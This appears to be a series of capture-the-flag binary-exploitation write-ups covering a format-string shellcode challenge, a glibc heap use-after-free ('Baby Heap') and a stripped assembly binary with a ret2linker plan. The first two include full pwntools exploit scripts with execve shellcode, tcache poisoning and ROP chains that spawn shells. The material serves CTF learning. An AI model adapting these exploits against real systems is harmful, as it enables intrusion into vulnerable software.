Here we are again — classic shellcode injection challenge... or is it?
This one isn’t the "copy-paste shellcode into a buffer and pray" kind of gig.
Instead of handing us a nice, friendly buffer and saying, “Please inject shellcode here”, this binary decided to play tricks with a format string vulnerability.
Fmt-String Shenanigans
You’d expect this to be your average printf-style info leak, right?
Surprise — it’s fprintf() to /dev/null. Yep, all output gone. Poof.
Any attempt to %p, %s, %n, or %lx your way to memory leaks? Straight into the void.
But hold up… just because we can't read, doesn’t mean we can’t write.
That’s where the beauty lies — fprintf() + format string = write-what-where primitive.
(Just don’t expect it to hold your hand.)
Enter mmap()
So, where are we even writing this shellcode to?
This binary uses mmap() to allocate a memory region — with RWX permissions — and stores the pointer on the stack.
Lucky for us, it’s just sitting at rsp + 8, waiting to be used.
But There’s a Twist…
You don't get to write the whole shellcode in one go. Why?
Because this binary is a little extra.
After each input, the pointer into the mmap’d region gets bumped by 2 bytes.
So yeah — your write is 2 bytes per input.
Still manageable.
Bonus: The input loop continues until you send a null byte.
So you can inject shellcode chunks, 2 bytes at a time, with each input round.
And Then… It Breaks.
Just as you're about to finish writing your shellcode, the pointer ends up pointing to the end of the mmap'd region.
When the execution jumps to that pointer — it’s basically trying to run off the end of your shellcode.
That’s no good.
The Jump Trick
Here’s the trick:
Write a jmp instruction at the end — one that jumps back to the start of your shellcode.
Since jmp is only 2 bytes (opcode + offset), and the pointer increments by 2 bytes per input, you can place it precisely.
For this one, we cheat a little — write 3 bytes to land the jump.
And just like that, execution jumps to the start — and we get the shell.
Exploit Script
from pwn import *
import struct
context.arch = "amd64"
context.log_level = "info"
def split_shell(shellcode):
chunks = [shellcode[i:i+2] for i in range(0, len(shellcode), 2)]
words = []
for chunk in chunks:
if len(chunk) < 2:
chunk += b'\x00'
val = struct.unpack('<H', chunk)[0]
words.append(val)
return words
def build_fmt_payload(value, offset=6):
return f"%{value}c%{offset}$hn"
def generate_shellcode():
return asm('''
start:
xor rax, rax
push rax
push rax
pop rsi
pop rdx
mov rbx, 0x68732f6e69622f2f
shr rbx, 8
push rbx
mov rdi, rsp
mov al, 59
syscall
nop
nop
jmp start
''')
def exploit():
io = process("./shellcode_printer_patched")
raw_shellcode = generate_shellcode()
shellcode_to_send = raw_shellcode[:-3]
splitted = split_shell(shellcode_to_send)
for i, word in enumerate(splitted):
fmt = build_fmt_payload(word)
log.info(f"Sending chunk {i+1}/{len(splitted)}: {fmt}")
io.sendline(fmt.encode())
# Final jump back to start
io.sendline(b"%14674832c%6$n")
# Null terminator
io.sendline(b"\x00")
io.interactive()
if __name__ == "__main__":
exploit()
Name: Baby Heap Category: Binary Exploitation
This one looked simple at first glance — but, as usual, it wasn't going to let us off that easy.
Opening the binary in IDA made the vulnerability jump right out — a Use-After-Free (UAF) in the delete() function.
Why? Because the freed pointer isn’t nulled out afterward. Classic mistake.
Yep. All the modern security goodies are turned on.
So... no GOT overwrite. No return-to-plt. No partial overwrite shenanigans.
And the binary allocates pretty small chunks — so we’re not even getting out of the tcache fastbin area. Leak required. No exceptions.
Welcome to the House... of Something?
Now, we know there are heap exploitation techniques called “House of X” (Lore, Force, Einherjar, etc.).
But honestly, I don’t even know what this one would be called.
We’re going to:
Create a fake chunk
Force it into the unsorted bin
Leak a libc pointer from the main_arena metadata
Why does that work?
Because ptmalloc uses a doubly-linked list for unsorted bins, and the chunk's fd and bk pointers end up pointing directly inside main_arena. Beautiful.
Step 1: Leak Heap Address + Tcache Key
Using the UAF, we read a freed chunk and get two things:
Tcache key — used for pointer mangling (introduced in glibc 2.32+).
Mangled pointer — XORing this with the key gives us a heap leak.
Step 2: Tcache Poisoning for Controlled Allocation
We poison the tcache freelist to get a pointer that overlaps with another chunk. This lets us:
Corrupt its metadata (e.g., the size field).
Create a fake chunk header with size > 0x410 → ensures it goes to the unsorted bin.
Important glibc 2.39 checks:
prev_inuse bit of the next chunk must be 1, or you'll hit consolidation checks.
Next chunk’s prev_size and size fields must line up correctly.
If you corrupt a chunk’s size, make sure you don't accidentally mark it as IS_MMAPPED or you'll crash.
For a deeper dive into how these checks work internally, you can browse the malloc.c source in glibc.
Step 3: Trigger Unsorted Bin Insertion
Now we free our overlapping (victim) chunk with the large fake size → it ends up in the unsorted bin.
Its fd/bk now point to libc’s main_arena.
Boom. Libc leak.
From here, we can:
Compute libc base.
Poison tcache again — but this time to leak stack address via __environ.
Step 4: Final Tcache Poisoning – Stack Write
We tcache-poison again to get an allocation pointing directly to the saved return address on the stack.
From here, we drop a ROP chain:
pop rdi
"/bin/sh"
ret (alignment)
system
And that’s it — shell popped.
Exploit Script
from pwn import *
context.binary = exe = ELF('./babyheap_patched', checksec=False)
libc = exe.libc
context.log_level = "info"
# XOR-based pointer mangling (tcache protection)
def mangle(key, addr):
return key ^ addr
# Allocate chunk
def malloc(idx, data):
io.sendlineafter(b"> ", b'1')
io.sendlineafter(b"Index: ", str(idx).encode())
io.sendafter(b"Data: ", data)
# Free chunk
def free(idx):
io.sendlineafter(b"> ", b'4')
io.sendlineafter(b"Index: ", str(idx).encode())
# Read chunk content (8 bytes max expected)
def read(idx):
io.sendlineafter(b"> ", b'2')
io.sendlineafter(b"Index: ", str(idx).encode())
return io.recvline().strip().ljust(8, b"\x00")
# Overwrite chunk content
def write(idx, data):
io.sendlineafter(b"> ", b'3')
io.sendlineafter(b"Index: ", str(idx).encode())
io.sendafter(b"Data: ", data)
def exploit():
# Allocate and free chunks to set up leak
for i in range(2):
malloc(i, p64(0x11) * 6)
for i in range(2):
free(i)
# Leak tcache key and mangled pointer
key = u64(read(0))
mangled = u64(read(1))
heap_leak = mangled ^ key
log.success(f"KEY: {hex(key)}")
log.success(f"MANGLED PTR: {hex(mangled)}")
log.success(f"HEAP LEAK: {hex(heap_leak)}")
# Tcache poisoning: overwrite next pointer in tcache entry (index 1)
write(1, p64(mangle(key, heap_leak + 0x10)))
# Chunk 2 is dummy to align tcache
malloc(2, b"dummy")
# Chunk 3 returns previously poisoned tcache ptr (i.e., index 0 + 16)
malloc(3, b"victim")
# Overwrite size field of chunk 0 to 0x421 (fake large chunk)
write(0, p64(0) + p64(0x421))
# Allocate and free two more chunks to fill tcache bin for 0x420
for i in range(4, 6):
malloc(i, b"dummy")
for i in range(4, 6):
free(i)
# Overwrite next tcache pointer to chunk at heap + 0x420
target = heap_leak + 0x420
write(5, p64(mangle(key, target)))
# Reallocate from poisoned tcache bin
malloc(6, b"dummy")
malloc(7, p64(0) + p64(0x11)*5)
# Free chunk 3 (unsorted bin now) to leak libc via main_arena
free(3)
libc_leak = u64(read(3))
libc.address = libc_leak - 0x203b20
log.success(f"LIBC BASE: {hex(libc.address)}")
# Setup tcache poisoining to leak stack address via __environ
malloc(7, b'8')
malloc(8, b'9')
malloc(9, b'10')
free(8)
free(9)
write(9, p64(mangle(key, libc.sym.environ - 0x18))) # prepare leak from environ
malloc(10, b'11')
malloc(11, b'A'*0x18)
io.sendlineafter(b"> ", b'2')
io.sendlineafter(b"Index: ", b'11')
io.recvuntil(b"A" * 0x18)
stack_leak = u64(io.recv(6).ljust(8, b'\x00'))
# Now use tcache poisoning again to write ROP chain to stack
malloc(13, b'13')
malloc(14, b'14')
free(13)
free(14)
# Overwrite tcache next ptr to stack - 0x158 (controlled return address)
write(14, p64(mangle(key, stack_leak - 0x158)))
malloc(15, b'15')
# ROP chain to system("/bin/sh")
rop = ROP(libc)
pop_rdi = rop.find_gadget(["pop rdi", "ret"])[0]
ret = pop_rdi + 1
binsh = next(libc.search(b'/bin/sh\0'))
# overwrite saved rbp if needed
payload = flat(
0,
pop_rdi, binsh,
ret,
libc.sym.system
)
malloc(16, payload)
# Pop shell
io.interactive()
def main():
global io
io = process(exe.path)
input(f"[+] PID: {io.pid}") # for attaching GDB manually
exploit()
if __name__ == "__main__":
main()
This challenge looked quite ugly at first, due to the symbols and function names being stripped.
Checksec
Arch: amd64
RELRO: Full RELRO
Canary: No canary found
NX: NX enabled
PIE: PIE enabled
SHSTK: Enabled
IBT: Enabled
Nice — no canary! But PIE is enabled, so we’ll probably need a PIE leak. This screams ROP attack — let’s see.
Reversing the Binary
Upon loading it into IDA, I noticed something odd: there was no main() function.
Instead, the binary started from _start, and most of the symbols were stripped — definitely not a standard C binary.
My guess? This was written in pure assembly or something close to it.
That didn’t stop me. I passed the decompiled output to ChatGPT, which helped me break down each function. With those insights, I renamed all the functions to something more understandable and manageable.
Vulnerability: Buffer Overflow
Starting from the _start function, I traced through the control flow and noticed something very promising:
There was a classic buffer overflow vulnerability around line 14 and line 20 in the input parsing logic.
With no stack canary in place, and a PIE-enabled binary, this lined up perfectly for a classic ROP attack — provided we could leak a PIE/libc address.
Mysterious Condition
As I continued exploring the binary, I noticed a function
This function was never called directly, but had a conditional check guarding it:
if ((_DWORD)result == 1)
return sub_1000(a2);
And elsewhere:
if (*(_DWORD *)(a1 + 8) == 1)
sub_1000((__int64)a2);
In both cases, the condition for calling sub_1000() was a comparison against the value 1. Interesting.
Exploiting the Overflow for Code Execution
I discovered that the buffer used to take the input for Nick is located at 0x7fffffffe360,
while the memory being checked for the value 1 is at 0x7fffffffe3a8.
With the overflow primitive, I could write all the way up to that location and overwrite it with 1, thereby triggering a call to sub_1000().
But why does that matter?
The Real Leak
Looking inside scorecalculate(),
I found that it prints a transformed value derived from a memory address.
This value — the player's score — was actually a disguised pointer.
The transformation? Some bit shifting and arithmetic, which could be reversed:
This function seemed useless at first glance — but in reality, it gave us a leaked pointer, disguised as a score.
Once reversed, I confirmed the address pointed inside the linker (ld.so).
That’s right — this was setting up for a ret2linker attack.
Attack Plan
Step 1: Calculate Linker Base Address
Use the leaked address to compute the base address of the linker by subtracting known offsets (you'll need to extract the same ld.so from the Docker image to match remote offsets).
Be aware: Players in the Discord server raged that their exploit broke due to varying linker offsets — likely caused by mismatched kernel versions.
Thankfully, I mean very thankfully, my WSL kernel version just chilled and gave me consistent offsets.
Step 2: ROP Gadgets from the Linker
Extract ROP gadgets from the linker
Step 3: Multi-Stage ROP Chain
Stage 1: Read "/bin/sh" into memory (via read syscall).
Stage 2: Execute execve("/bin/sh") syscall with that pointer.